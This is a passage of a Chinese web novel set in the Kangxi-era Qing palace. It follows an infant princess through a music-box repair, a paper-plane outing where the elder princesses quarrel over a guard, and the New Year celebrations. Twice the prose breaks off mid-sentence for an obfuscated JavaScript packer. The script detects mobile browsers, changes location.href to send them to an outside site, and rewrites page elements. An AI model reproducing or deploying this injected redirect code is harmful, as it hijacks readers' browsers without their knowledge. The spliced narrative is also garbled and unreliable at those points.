因为她的爷爷便是开了一家修表店,会修手表、挂钟、八音盒还有许多玩意儿,听说当初她妈妈便是因为八音盒坏了,去找人修,在爷爷的店铺遇见了爹爹,才有了这段情缘,也有了她。 婉菱长得这么可爱,这样一个并不过分的要求,几位哥哥还有什么不能满足的? 于是,由四阿哥抱着婉菱带路,其他两位阿哥一左一右当护法,雄赳赳气昂昂地来到了内务府。 造办处的太监还以为这是谁的差事办的不好,得罪了小阿哥小公主呢,听说只是想要旁观修八音盒,便松了一口气道:“当然可以。” 金发碧眼的西洋钟表技师穿着清式的袍卦,显得有点不伦不类,但是个温和的人,看见婉菱,便脱口而出一句洋文:“Littleangel!” 这粉雕玉琢仿佛小天使一般的婴孩,真是太可爱了!他上前两步,想要在她额头处轻轻亲吻,以示疼爱与祝福,但是又猛然顿住。 这里是大清朝,礼仪不同,都来一年多了,怎么还会管不住自己? 于是,他便停在婉菱面前,用温软的汉话笑道:“你很漂亮!我很喜欢你。” 婉菱“呀呀”了两声,在心里回复道:【谢谢……洋师傅。】 八阿哥笑道:“我妹妹说谢谢你夸赞。” 这位洋人技师眼睛一亮,对八阿哥道:“你懂婴儿语言?” 八阿哥但笑不语,十阿哥急了,踮起小脚,把手里的八音盒往西洋技师怀里一塞,小脸涨得通红:“别废话了,快修这个!快修!” 西洋技从随身的木匣里取出一个新的铜质曲柄配件,大小、纹路,竟与原先那个一模一样。 手指捏住细铁丝翻动间,三两下便将断轴取出,新件嵌入,严丝合缝。 他又取出一方柔软的丝绸细布,仔仔细细地擦拭着盒面上的碎铜屑与碎木屑。 “好了。”他将八音盒双手递到婉菱面前,微微欠身,嘴角噙着一丝笑意,“小公主,我修好了。” 亲自旁观修八音盒的婉菱获得了一个新的乐趣,便是拆装自己的玩具,或者重新制作新的玩具。 先是竹蜻蜓,拆了。两片竹叶旋翼被卸下来,又在良嫔的帮助下安回去了。 再是走马灯,她痴痴地望着那纸剪的人马,鼓了鼓腮。 拨浪鼓也没逃过,两颗鼓槌上的小圆球被她揪下来,滚到炕角,她爬过去找到,捡回来,研究了半天是怎么系上去的。 今日轮到了布老虎。 那是一只憨头憨脑的红布老虎,额头用金线绣着一个大大的“王”字,有婉菱的两只手那么长。 是端午节内务府送来的,说是可以驱邪祈福。 此刻,它的肚子上豁开一道口子,白花花的棉花絮从里头涌出来,堆落在婉菱的腿上。 婉菱小胖手里攥着一把棉花,正试图把它塞回老虎的肚子里去。 塞进去,漏出来一些。 再塞另一把,刚才那块又冒出来了。 她皱着小眉头,两只手用力捏住那“开口”,却无可奈何。 良嫔拿过针线,无奈地笑道:“我帮你缝回去吧。” 良嫔担心婉菱拆卸东西伤到手,便拿出了彩纸,对婉菱道:“我教你折纸。” 【折纸?太好了!额娘还会这个呢。】 良嫔笑了笑:“很多东西,不会也可以学啊,没有人生下来就什么都会的。” * “婉菱,你在做什么呢?” 二公主笑盈盈地掀开帘子进来。 婉菱正盘着小肉腿坐在炕上,面前是个小炕桌,还有一堆各种颜色的纸。 听见声音,抬起头,眼睛弯成了两道小月牙。 她把手里的东西举得高高的,献宝似的道: 【我在折纸呢!今日刚刚折好的,漂亮吗?】 二公主接过那东西,翻来覆去地看了看。 那模样怪得很,说方不方,说长不长,旁边该不会是两对翅膀吧? “这是什么呀?燕子吗?还是丹顶鹤?” 小孩子折出来的东西,倒也不能要求太高的相似度。 婉菱认认真真地解释:【这个叫纸飞机,会飞的哦。】 额娘教过她折元宝、折小船,这也让她想起,在现代时,学习过折纸飞机。 这是最好玩不过的游戏了,比谁的纸飞机飞得更高、更远。 婉菱一边想着,一边把小胖手里的纸飞机举起来,对着窗外的光看了看。 等五哥哥来了,她一定要叫上他一起玩,他一定喜欢这个。 只可惜,她还太小,手上没多少力气。 折了一上午,那些纸要么被戳破了,要么就歪歪扭扭的,最终她才堪堪折出这一个像模像样的。 “真的能飞吗?” 二公主接过那纸飞机,翻来覆去看了看,眼里却没什么兴趣。 她把纸飞机往桌子上一放,拉起婉菱的小手,捏着玩,又换了个话题: “御花园的红梅开了,我带你去看好不好?” 婉菱眼睛一亮:【红梅?我喜欢!正好可以在外面试试我的纸飞机。让二姐姐见识见识,它真的会飞!】 她心里那点子得意藏都藏不住,二公主忍不住伸手捏了捏她软乎乎的脸颊,笑道:“你这孩子。” 说着,便蹲下身去,替婉菱穿鞋。 一旁的嬷嬷已从柜中取出一件大红羽缎的斗篷,抖开了,为婉菱穿上。 那红色艳艳的,在雪光中,定是极美的。配上领口的月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228920|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白色毛,显得小脸莹白可爱。 二公主跟婉菱穿的一样,只领口是紫色貂毛,远远看着就是姐妹装。 两人在红梅白雪中穿梭,却又看到了那个唤作阿灵阿的侍卫与大公主,他们二人在并肩而立踏雪寻梅。 婉菱眼尖,率先道:【看,那是大姐姐!】 二公主忙捂住了她的嘴,但随即想起来捂嘴没用,她叮嘱道:“我们玩我们的,不要唤她。” 婉菱不明所以:【二姐姐,怎么了?你跟大姐姐吵架了?小朋友不要吵架。】 二公主翻了个白眼,道:“我们才不是吵架了,只是……” 她有些为难,大姐姐样样都好,懂得多,性格也温柔端庄识大体,她本也喜欢大姐姐,可是一比较起来,就每每有些不得劲。 哼,明明她也是公主,她也很优秀的。 二公主也分析不出来自己的心思,只是看着相谈甚欢的两人,心中有些苦涩。 她不明白阿灵阿为什么对大姐姐的态度与自己不同,每次见到了自己,他都冷着一张脸,好似一个陌生人。 但她是个公主,她有她的骄傲,她不会放下自尊去主动接近他。 二公主叹了口气道:“他们总有共同话题去聊。” 婉菱道:【俗话说,三岁一代沟呢。那个侍卫哥哥和大姐姐年纪差不多,聊得来也很正常呀。】 二公主眉头微微拧起来,低下头看着她:“那我总是来找你玩,你是不是觉得我很幼稚?” 幼稚到跟你没有代沟? 婉菱眨了眨眼,忽然伸出小胖手,轻轻拍了拍二公主的手背。 【当然不是啦。你来找我玩,我开心还来不及呢,怎么会瞎想?】她仰起小脸,【二姐姐是疼我,我都知道的。】 那目光干干净净的,像御花园里的雪,安抚着二公主的心。 二公主道:“好,我们开始放飞机吧,你不是说你折的东西能飞吗?” 婉菱挺了挺小胸脯,一脸认真:【当然能飞啦!只是……】 她低头看了看自己藕节似的短胳膊,又抬起眼,眼巴巴地望着二公主:【我胳膊短,又没有力气……你帮我放吧。】 “行。”二公主爽快地应了,“捏住下头,这么一甩,就行了吧?” 婉菱道:【不能太用力,要轻轻地、平平地往前推。推出去之前,还要在头上……这儿……哈一口气。】 她指了指纸飞机的尖头。 【还有还有,要找个开阔的地方,不能撞到树。不然飞机飞到一半就掉下来了,可丢人了。】 “好,都听你的。” 二公主知道纸飞机遇到雪就会湿了,担心破坏了小婉菱的心血,便选了一片空地。 试了几下,才渐渐掌握了方法,飞的更远了点。 婉菱也在嬷嬷的怀里高兴地鼓掌。 这时候,大公主与阿灵阿的身影便从不远处的梅林小径转了出来。 大公主手里拈着一枝红梅,花苞半开,缀着几点残雪,衬得她指尖莹白如玉。 阿灵阿走在她身侧,手中横握一支玉箫,箫尾垂着深青色的穗子,轻轻晃动着。 两人并肩行来,梅香与雪意交织,看上去像是一幅画般。 大公主先看见了她们,眉眼弯起:“好巧,你们也在。” 23. 第 23 章 二公主下意识地站直了些,将手里的纸飞机藏到身后:“嗯,我带婉菱出来走走,顺便晒晒太阳。” 大公主走近了,目光在婉菱脸上停留一瞬,又转向二公主,笑意更深了些:“来得正好。我最近新学了一支舞,正想与阿灵阿配合着试一试。” 她侧头看了阿灵阿一眼,那人微微颔首,并无异议。 “你们也在这儿,”大公主拂了拂梅枝上的雪,语气里带着几分温煦,“可以在一旁帮我们提提意见。” 婉菱拍手道:【好呀。】 “哼,我们哪里懂这些?” 二公主撇了撇嘴道,说完,又瞪了阿灵阿一眼。 阿灵阿的喉结滚了滚,微微蹙着眉头。 大公主轻轻笑了笑:“妹妹就别妄自菲薄了。” 二公主垂下眼帘,没有接话。 箫声响了。 阿灵阿立在一旁,玉箫横于唇间,修长的指节起落间,箫音如水,清清润润地流淌开来。 大公主踏着那箫声翩然起舞,红梅在手中旋成一片绯云,裙裾翻飞如蝴蝶。 二公主的目光不知怎的,就被那一管箫引了过去。 阿灵阿正垂着眼,侧脸的轮廓在冬日淡薄的日光里显得格外清隽。 她望着他,自己也说不清在想什么。 可就在这时,他抬起眼。 两道目光在空气中轻轻一触。 下一瞬,阿灵阿便移开了视线,转向大公主。 他们相视一笑。 二公主的心仿佛被针尖扎了一下,拿起手里的纸飞机,对着“哈”了一口气,手腕一扬。 那纸飞机便飞了出去,不偏不倚地砸中了阿灵阿的太阳穴。 箫声戛然而止。 阿灵阿顺手接住了纸飞机,垂眸打量着,又淡漠地抬眼望着二公主。 大公主也停止了跳舞,对二公主道:“二妹妹,你在做什么?” 二公主走到阿灵阿的面前,扬起下巴道:“我在玩纸飞机,这是婉菱亲手折的,还请舅舅还我。” 说着,她伸出了手。 “舅舅”二字,加了重音,婉菱道:【欸?二姐姐不是说,这不是她舅舅吗?】 二公主猛地回头,嗔了婉菱一眼。 婉菱缩了缩小脖子,还没反应过来,已被大公主从嬷嬷怀里接了过去。 “来,让大姐姐抱抱。”大公主托着她的屁股,脸上浮起笑意,“嗯,又沉了一点。” 【嘻嘻。】婉菱小脸往大公主颈窝处蹭了蹭。 大姐姐身上也是香香的,可那香味和二姐姐的不一样。 一个是甜香,一个是梅花香气。 阿灵阿立在原地,神色平静得像什么都没发生过。他垂眸将那架纸飞机轻轻放回她摊开的掌心。 “既然是七公主亲手折的,”他的声音不高不低,听不出情绪,“还望二公主珍惜。” 二公主攥紧了手里的纸飞机,指节都泛了白。 【我的纸飞机……】 婉菱悄悄在心里嘟囔了一句,但她看二姐姐好像很生气的样子,便也只是咬了咬唇,没再说什么。 “喊你一声舅舅,”二公主咬了咬牙,一字一句从齿缝里挤出来,“你还真把自己当根葱了?教训起我来了?” 大公主拧眉道:“二妹妹!不可无礼!” 阿灵阿已经跪了下去。 他垂着眼,姿态恭谨道:“是臣逾越了,还望二公主恕罪。” 二公主瞪着他的后脑勺道:“我若不饶你呢?” 阿灵阿的指尖颤了颤道:“臣任由二公主处罚。” 二公主深吸了一口气,眼眶却湿润了起来。 这时,不远处一个男子走了过来,笑道:“呦,谁惹二公主生气了?” 二公主看清楚来人后,柳眉倒竖:“乌尔衮,你怎么在这里?” 婉菱也抬眸打量着这个乌尔衮,他肤色要较阿灵阿更深一点,有一双大而明亮的眸子,笑起来露出白牙。 【这乌尔衮又是谁呢?】 大公主在婉菱耳边轻声道:“这是太皇太后的曾孙子,论起来,跟咱们是远方表亲。按辈分,你该唤他一声表哥才是。” 婉菱窝在大公主怀里,眨巴着眼睛,心里乐呵呵地冒出一句:【哦哦,原来我还有这么多亲戚呀!】 那少年一身蒙古装束,腰束皮带,脚蹬马靴,眉眼间神采飞扬,他几步来到二公主身旁,微微俯身,笑意爽朗。 “我从蒙古赶过来的。快过年了,父王说让我来陪陪太皇太后,等明年开春再回去。”他顿了顿,语气里带着几分讨好,“表妹,我给你讲讲草原上的趣事吧,别跟一个侍卫计较了,不值得。” 二公主转头瞪了他一眼。 “不要。”她别过脸去,声音硬邦邦的,“我今日没心情了。” 说完,她看了婉菱一眼,再一转身,提着裙角便跑走了。 乌尔衮愣了愣,旋即大步跟了上去。 大公主轻叹一声,转身走到阿灵阿身侧,温声道:“快起来吧。二妹妹年纪小,又向来是个小孩子脾气,你别往心里去。” 阿灵阿站起身,低头拍了拍膝上的雪,神色淡淡的,看不出喜怒。 “臣还有事在身,”他拱手一礼,“先行告退了。” 大公主点点头,目送他转身离去。那背影挺拔如松,踏着雪走远,不一会儿便消失在梅林尽头。 她收回目光,低头看向怀里的婉菱。小人儿正窝在她臂弯里,小脑袋一点一点的,眼皮已经开始打架了。 “困了?”大公主笑道,“走吧,我送你回去。” 【好呀……】 婉菱迷迷糊糊应了一声,小脸往大公主肩窝里蹭了蹭,寻了个舒服的姿势。 还未走出御花园,她便已阖上双眸,呼吸变得绵长而均匀。 除夕的清晨,天还蒙蒙亮,婉菱便被良嫔从被窝里抱了出来。 她迷迷糊糊地任由人摆布,穿衣、系带、戴帽,等彻底清醒过来时,已是一身红彤彤、圆滚滚的模样。 今日这件红绸棉袄是新做的,比往日那件更鲜亮,正胸口用金线绣了一个大大的“福”字,占了小半个前襟,衬得她的小脸蛋愈发粉白。 良嫔把她放在炕上,她试着站起来,摇摇摆摆地走了两步。 这些日子腿脚似乎也有了些力气,只是还不太稳当,像只刚学步的小企鹅。 前几日婉菱就是这么自嘲的,但是屋子里没有人知道企鹅为何物,无奈,她只能比比划划的,让三哥给画一下。 画出来的样子几乎接近企鹅外貌,但是大哥哥却说这世上没有这种动物,定是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228921|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在胡诌。 婉菱心里这个气呀,憋了好久都没跟大哥哥说话。 过了除夕,大哥哥就要搬出去了,婉菱想着,她该原谅大哥哥了。 正在这时,八阿哥掀帘子进来了,道:“走,我们去给皇阿玛拜年。” 这是清宫的规矩,所有皇子公主,都要早早在乾清宫外候着。 乌泱泱一大片人,多子多福,看到这样盛况,康熙的心情也十分愉悦。 其实更为特别的是,今日还是婉菱的一周岁生辰,所以一会儿还要进行抓周礼。 梁九功捧出一早就备好的赏赐,皇子公主们按序上前,领了差不多的金银锞子、绸缎荷包,皆大欢喜。 唯有太子多了一份:上好的湖笔、徽墨、澄心纸、端溪砚。 众人看在眼里,并不意外。 可接下来,康熙却忽然朝婉菱招了招手。 “过来。” 婉菱被嬷嬷抱了过去,仰着小脸望着皇阿玛。 康熙从案上拿起一张墨迹刚干的红纸,递给她,这是一个大大的“福”字,墨迹饱满,筋骨丰润,正是康熙亲手写的。 “给你的。” 婉菱双手捧着那张比她的脸还大的福字,心里软软地冒出一句:【谢谢皇阿玛。】 满屋子的人都望了过来。 等拜年结束,孩子们从暖阁里退出来,四公主第一个凑到婉菱身边。 “哎呀呀,”她拖长了声音,“皇阿玛亲手写的呢,我好羡慕啊。婉菱,能不能给我呀?” 婉菱捧着福字,小脸上浮现出一丝纠结: 【四姐姐也想要这个吗?可是……可是这是皇阿玛给我的呀……可以借给你玩几日……】 二公主在一旁撇了撇嘴,伸手拉住四公主的胳膊:“你别逗她了。她年纪小,当真了怎么办?” 四公主“噗呲”一声笑出来,伸手帮婉菱理了理那顶虎头帽:“逗你玩的啦,皇阿玛赏给你的,我怎么敢要呢?” 婉菱眨了眨眼,把福字往怀里抱了抱,也笑了。 大家又去慈宁宫给太后、太皇太后拜年,便各自回了寝殿。 若是要挨个去宫里的嫔妃处拜年,岂不是错过了吉时? 到了延禧宫,嬷嬷们搬进一张小几,又摆上裁好的红纸、砚台、毛笔,八阿哥坐在桌子前,袖口被人挽起。婉菱歪着脑袋看,心里冒出个念头: 【八哥哥这是要写春联吗?】 八阿哥闻言笑了笑:“是啊。一会儿写好了贴门上,顺便也写个福字送给你,好不好?” 婉菱眉眼弯弯地: 【我已经有福啦,不过八哥要送,我也要收下,福气越多越好。】 八阿哥被她逗笑了,写出来的字歪了一笔,连忙将红字团起来,重新下笔。 上午十点多,大家都用了早膳,也贴好了春联,便聚在延禧宫为婉菱举行抓周礼。 就连康熙都从百忙之中抽出空来,来此,想要看看婉菱能抓什么。 良嫔在炕上铺了一大块大红绒毯,上头摆满了寓意深长的物件:金光闪闪的小算盘、粉彩瓷盒胭脂、卷着红绸的线装书、一串珍珠项链、翠玉雕的毛笔、绣着莲花的香囊、还有会唱歌跳舞的八音盒。 婉菱被抱到绒毯中央时,已经有些困倦了,但她知道这是大事,便强行打起精神。